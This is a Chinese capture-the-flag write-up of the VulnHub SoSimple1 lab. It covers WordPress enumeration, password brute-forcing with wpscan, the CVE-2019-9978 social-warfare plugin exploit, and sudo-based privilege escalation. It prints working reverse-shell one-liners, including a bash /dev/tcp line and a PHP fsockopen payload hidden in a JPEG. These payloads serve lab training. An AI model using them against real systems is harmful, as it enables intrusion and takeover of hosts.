实战打靶集锦-027-SoSimple1

文章目录

  • 1.主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 枚举定时任务
    • 5.3 查看passwd文件
    • 5.4 枚举可执行文件
    • 5.5 查看家目录
    • 5.6 Linpeas提权
  • 6. 获取flag

靶机地址:https://download.vulnhub.com/sosimple/So-Simple-1.7z


1.主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机地址。

2. 端口扫描

通过下面的命令扫描一下端口。

$ sudo nmap -p- 192.168.232.147

在这里插入图片描述
端口比较少,枚举一下具体的服务。

3. 服务枚举

通过下面的命令枚举一下端口上的服务。

$ sudo nmap -p22,80 -A -sT -sV 192.168.232.147

在这里插入图片描述
枚举出的服务没有太特别的,主要就是一个Apache。

4. 服务探查

还是先通过浏览器访问一下看看。
在这里插入图片描述
还是一个简单的图片,最近几个靶机都是这种状况啊,枚举一下目录吧。

$ dirsearch -u http://192.168.232.147:80/

在这里插入图片描述
哈,是个wordpress,基于前车之鉴,还是用gobuster扫一下。

$ gobuster dir -u http://192.168.232.147:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述
没有太特殊的,在这个例子中还不如dirsearch全面,还是手工进去看一下吧。
在这里插入图片描述
简单试了一下,枚举出了admin用户,可以对这个用户进行爆破,在此之前先用wpscan扫描一下,并待参数枚举一下存在漏洞的插件和用户。

$ wpscan --url http://192.168.232.147/wordpress/ -e u,vp

在这里插入图片描述
确实还是发现了一些内容,比如xmlrpc、upload目录,另外还枚举出了两个用户:admin和max。先手工看看哪里有文件上传的入口,然后再看看是否可以通过文件上传构建反弹shell。
在这里插入图片描述
目前是找到了上传文件的目标位置,但是还没有找到上传文件的入口,估计得需要登录才能有更多的权限,通过rockyou爆破一下admin用户。

$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U admin -t 6

在这里插入图片描述
爆破了半天,没啥效果,再爆破一下max用户试试看。

$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U max -t 6

在这里插入图片描述
用了不到10分钟就爆破出来了,手工登录看看。
在这里插入图片描述
确实登录成功了,并且发现发表新的内容的时候,时可以添加一个图片的,如下图。
在这里插入图片描述
我们尝试发一个内容添加图片试试,确实成功了,如下图。
在这里插入图片描述
找一下前面发现的upload目录里面,看是否有对应的图片。
在这里插入图片描述
确实在uploads下找到了我们上传的图片。这应该好办了,采用我们的惯用手法,构造一个图片格式的php脚本,其中包含反弹shell,如下图。
在这里插入图片描述
上传一下试试看。
在这里插入图片描述
嗯,看来靶机还是做了一些防护处理的,没法直接上传。找到一个神器(https://github.com/dlegs/php-jpeg-injector),可以在图片中注入php,弄下来试试。

$ python3 gd-jpeg.py ../ubertooth.jpeg '<?php $sock=fsockopen("192.168.232.129",4444); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' infected_reverse.jpeg

在这里插入图片描述
貌似生成了新的图片,先在本地建立监听,然后上传一下,然后试试看。可惜的是上传成功了,但是没有正常反弹。
感觉前面的wpscan扫描可能还漏了啥,扫描一下全量插件试试看。

$ wpscan --url http://192.168.232.147/wordpress/ -e ap

在这里插入图片描述
总共扫描出了两个插件,搜索一下有没有针对这俩插件的EXP。
在这里插入图片描述
都没有搜出来,上网直接搜搜看。发现貌似simple-cart-solution插件有个CVE漏洞,如下图。
在这里插入图片描述
并且social-warfare有个远程脚本执行的漏洞。
在这里插入图片描述
第一个漏洞貌似有些异常,在NIST找不到相关的具体信息,如下图。
在这里插入图片描述
我们集中精力看social-warfare的远程脚本执行漏洞,具体可以参照git上的内容(https://github.com/hash3liZer/CVE-2019-9978)。
先制作一个payload。

$ echo "<pre>system('cat /etc/passwd')</pre>" > payload1.txt

启动python http服务,让payload1可以被访问到。

$ python3 -m http.server 8000

然后运行exp脚本。

$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://127.0.0.1:8000/payload1.txt

在这里插入图片描述
貌似失败了,估计还是有些问题,估计是payload1的地址原因,从环回地址改成实际地址试试看。
在这里插入图片描述
远程代码执行成功了,我们重新构造一个带有反弹shell的payload试试看。

$ echo "<pre>system(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.232.129/4444 0>&1'\")</pre>" > payload2.txt

先在4444端口上建立一下监听,然后执行下面的EXP

$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://192.168.232.129:8000/payload2.txt

在这里插入图片描述
反弹shell建立成功。

5. 提权

先优化一下shell。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ whereis python
www-data@so-simple:/var/www/html/wordpress/wp-admin$ /usr/bin/python3.8 -c "import pty;pty.spawn('/bin/bash')"

5.1 枚举系统信息

通过下面的命令枚举一下系统信息。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ uname -a
www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 20.04 LTS版本,内核5.4.0-40。

5.2 枚举定时任务

通过下面的命令枚举一下定时任务。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/crontab

在这里插入图片描述
没有可以利用的定时任务。

5.3 查看passwd文件

先查看一下passwd文件中都有哪些用户。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/passwd

在这里插入图片描述
从上面可以看到,存在root、max、steven三个具备正常shell的用户。尝试向passwd文件中写入一个用户试试看。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ echo "testuser" >> /etc/passwd

在这里插入图片描述
没有权限。

5.4 枚举可执行文件

通过下面的命令枚举一下可执行文件。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ sudo -l

在这里插入图片描述

www-data@so-simple:/var/www/html/wordpress/wp-admin$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
看得不太明显,继续往下。

5.5 查看家目录

查看一下当前www-data用户的家目录下都有些啥。
在这里插入图片描述
有个名为mybackup.txt的文件比较可疑,进去看看。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat ~/html/mybackup.txt

在这里插入图片描述
感觉像是base64编码过的内容,尝试解码一下看看。
在这里插入图片描述
是base32编码的内容,其实就是之前我们爆破出来的max用户的密码。尝试用这个密码切换到max用户试试。
在这里插入图片描述
发现不是任何一个用户的的shell登录密码,暂时放一边。

5.6 Linpeas提权

www-data@so-simple:/tmp$ chmod u+x linpeas.sh

有意思的是,这里面在max用户下找到了ssh登录的密钥对,如下图。
在这里插入图片描述
把私钥拷贝下来放到本地的~/.ssh/id_rsa文件中,尝试登录一下试试看。

$ chmod 600 ~/.ssh/id_rsa
$ ssh max@192.168.232.147 -i ~/.ssh/id_rsa

在这里插入图片描述
登录成功,直接在这个用户下运行一下linpeas.sh试试看。
在这里插入图片描述
貌似这个/usr/sbin/service有些猫腻,不过不是很懂,莫非是不用密码可以进入到steven账号下面?但是这个/usr/sbin/service应该怎么用,还是一头雾水,不过之前大佬传授给我一个超级牛逼的网站(https://gtfobins.github.io/),上面看看有没有具体用法。
在这里插入图片描述
网站的Sudo下面找到service词条,打开后找到了具体的用法,如下图。
在这里插入图片描述
试一下看看。

max@so-simple:/tmp$ sudo -u steven /usr/sbin/service ../../bin/sh

在这里插入图片描述
果真是切换到了steven用户啊,轮换了两三个用户了,直接在steven用户下继续执行linpeas吧。
在这里插入图片描述
哈,感觉是同样的手法又用了一次,如下图。那就看看这个shell中是什么内容吧。
在这里插入图片描述
呵,竟然找不到这个文件,好奇怪。按照上面的葫芦画个瓢,看看能不能用这个server-health.sh提权吧。

$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh

在这里插入图片描述
还是找不到文件。按照靶机的尿性,既然linpeas能够给出这个线索,不可能没有用啊,没有条件创造条件也要上,我们自己创建一个server-health.sh文件试试看。

$ mkdir -p /opt/tools
$ echo "#!/bin/sh" > /opt/tools/server-health.sh
$ chmod u+x /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh
$ sudo -u root /opt/tools/server-health.sh ../../bin/sh

在这里插入图片描述
无论如何折腾都还是steven用户,直接在server-health.sh中写入反弹shell试试看。

$ echo "bash -c 'exec bash -i &>/dev/tcp/192.168.232.129/4444 <&1'" > /opt/tools/server-health.sh
$ cat /opt/tools/server-health.sh
$ chmod u+x /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh

在这里插入图片描述
这次提权成功,顺利拿到root权限。

6. 获取flag

获取一下flag。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/759513.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云99元服务器40G ESSD Entry系统盘够用吗?

阿里云99元服务器40G ESSD Entry云盘够用吗&#xff1f;够用&#xff0c;操作系统占15GB左右&#xff0c;还有25G富余。如果是40G ESSD Entry系统盘不够用&#xff0c;还可以为云服务器另外挂载数据盘&#xff0c;所以不用担心40G系统盘不够用。可以在阿里云CLUB中心查看 aliyu…

Flutter 3.13 之后如何监听 App 生命周期事件

在 Flutter 中&#xff0c;您可以监听多个生命周期事件来处理应用程序的不同状态&#xff0c;但今天我们将讨论 didChangeAppLifecycleState 事件。每当应用程序的生命周期状态发生变化时&#xff0c;就会触发此事件。可能的状态有 resumed 、 inactive 、 paused 、 detached …

android 音频焦点,音频策略梳理

音频焦点和音频策略两个不同的概念&#xff0c;容易搞混 先来看下音频焦点和音频策略直接的区别和联系 音频策略的主要功能是为该音频找到合适的硬件设备播放 1 音频策略流程&#xff1a; (从usage->device) attributesBuilder.setUsage--->audioservice.mCarAudioCont…

SpringBoot特性--Profiles

Spring Profiles提供了一种方法来隔离你的应用程序配置的一部分&#xff0c;并使其仅在某些环境中可用。任何Component&#xff0c;Configuration或ConfigurationProperties都可以用Profile标记&#xff0c;以限制它的加载时机&#xff0c;如下面的例子所示。 Configuration(p…

大数据扩展

层面控制点四级三级二级 安全 物理 环境 基础 设施 位置 应保证承载大数据存储、处理和分析的设备机房位于中国境内。应保证承载大数据存储、处理和分析的设备机房位于中国境内。应保证承载大数据存储、处理和分析的设备机房位于中国境内。安全 通信 网络网络 架构b)应保证大数…

idea使用git笔记

1.创建分支和切换分支 创建分支 切换分支 2.把新创建的分支提交到远程服务器上&#xff08;注&#xff1a;如果没有提交的&#xff0c;随便找个文件修改再提交&#xff09; (1)切换到要提交的分支&#xff0c;add (2)commit (3)push 3.在自己分支修改代码及提交到自己的远…

【讲解Node.js常用的命令】进阶版

Node.js常用命令 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时环境&#xff0c;它使得可以在服务器端运行 JavaScript 代码。Node.js 采用了事件驱动、非阻塞 I/O 模型&#xff0c;非常适用于构建高效的网络应用程序。以下是一些Node.js开发中常用的命令&#xff1…

【K3s】在 AWS EC2 上运行生产 K3s 集群

【K3s】在 AWS EC2 上运行生产 K3s 集群 本文将介绍如何在 AWS EC2 上运行 K3s。您将创建一个 EC2 实例并在 AWS 上运行单节点 K3s 集群。 自托管的 K3s 允许您在裸金属上运行 Kubernetes,并应用较小、低资源工作负载的原则。哦,你还可以控制你的控制平面。这有点像逃离托管…

探索软件工程:构建可靠、高效的数字世界

软件工程是一门涵盖了设计、开发、测试、维护和管理软件的学科&#xff0c;它在如今数字化时代的发展中扮演着至关重要的角色。随着科技的不断进步和社会的不断变迁&#xff0c;软件工程的意义也愈发凸显。本文将探索软件工程的重要性、原则和实践&#xff0c;以及其对当今社会…

Python Qt Designer 初探

代码下载在最下面 #开发环境安装# 本示例在Windows11下, 使用VSCode开发, Python 3.12.2, Qt Designer 5.11 VSCode插件Python、Python Debugger、PYQT Integration、Pylance (准备) VSCode自行官网下载 Visual Studio Code - Code Editing. Redefined (准备) Python 直接…

Hive自定义UpperGenericUDF函数

Hive自定义UpperGenericUDF函数 当创建自定义函数时&#xff0c;推荐使用 GenericUDF 类而不是 UDF 类&#xff0c;因为 GenericUDF 提供了更灵活的功能和更好的性能。以下是使用 GenericUDF 类创建自定义函数的步骤&#xff1a; 编写Java函数逻辑&#xff1a;编写继承自 Gener…

上位机图像处理和嵌入式模块部署(qmacvisual拟合直线)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 测量是图像处理的一个基本技能。那么测量的前提&#xff0c;就是我们需要在图像中找出特定的集合图形&#xff0c;比如说直线。当然&#xff0c;发…

# Maven Bom 的使用

Maven Bom 的使用 文章目录 Maven Bom 的使用概述BOM特点优点缺点 MavenMaven 安装安装步骤settingx.ml常用仓库地址Idea 使用maven常见坑 SpringBoot 项目Bom使用案例项目结构主项目 zerocode-back-servezc-dependency&#xff08;第三方jar管理&#xff09;子模块zc-serve子模…

Java中的监视器锁 (synchronized 关键字)

在使用多线程的时候,我们会经常遇到线程不安全的问题,即多个线程访问共享数据时出现不确定的结果或异常,此时引入我们今天要介绍的synchronized 关键字 一.synchronized 的特性 1) 互斥 synchronized 会起到互斥效果, 某个线程执行到某个对象的 synchronized 中时, 其他线程如…

手机运营商二要素检测:重塑信任基石,筑牢信息安全屏障

随着移动互联网的普及和数字经济的快速发展&#xff0c;用户信息安全的重要性日益凸显。运营商二要素检测作为一种强大的安全验证机制&#xff0c;以其精准匹配与实时验证的特性&#xff0c;为各类应用场景提供了一种可靠的身份识别解决方案&#xff0c;正在成为众多企业和服务…

PyTorch 深度学习(GPT 重译)(六)

十四、端到端结节分析&#xff0c;以及接下来的步骤 本章内容包括 连接分割和分类模型 为新任务微调网络 将直方图和其他指标类型添加到 TensorBoard 从过拟合到泛化 在过去的几章中&#xff0c;我们已经构建了许多对我们的项目至关重要的系统。我们开始加载数据&#xf…

11种创造型设计模式(下)

观察者模式 我们可以比喻观察者模式是一种类似广播的设计模式 介绍 观察者模式&#xff1a;对象之间多对一依赖的一种设计方案&#xff0c;被依赖的对象是Subject&#xff0c;依赖的对象是Observer&#xff0c;Subject通知Observer变化。 代码 说明&#xff1a; WeatherStat…

【百度灵境矩阵实训营】操作指南

【百度灵境矩阵实训营】操作指南 写在最前面提交注意事项比赛参与指南1、创建智能体作品要求 2、提交作品 学习资料包 &#x1f308;你好呀&#xff01;我是 是Yu欸 &#x1f30c; 2024每日百字篆刻时光&#xff0c;感谢你的陪伴与支持 ~ &#x1f680; 欢迎一起踏上探险之旅&…

Docker容器化技术(docker-compose示例:部署discuz论坛和wordpress博客,使用adminer管理数据库)

安装docker-compose [rootservice ~]# systemctl stop firewalld [rootservice ~]# setenforce 0 [rootservice ~]# systemctl start docker[rootservice ~]# wget https://github.com/docker/compose/releases/download/v2.5.0/docker-compose-linux-x86_64创建目录 [rootse…

用纯C语言实现空气压强和电压关系

已知P是真空度&#xff0c;U是电压&#xff0c;C是3.572&#xff08;以PA为单位&#xff09;&#xff0c;P10**(U-C)/1.286 1、使用 math.h 头文件中提供的函数&#xff0c;比如 pow() 来计算幂 #include <stdio.h> #include <math.h>int main() {double U; // 电…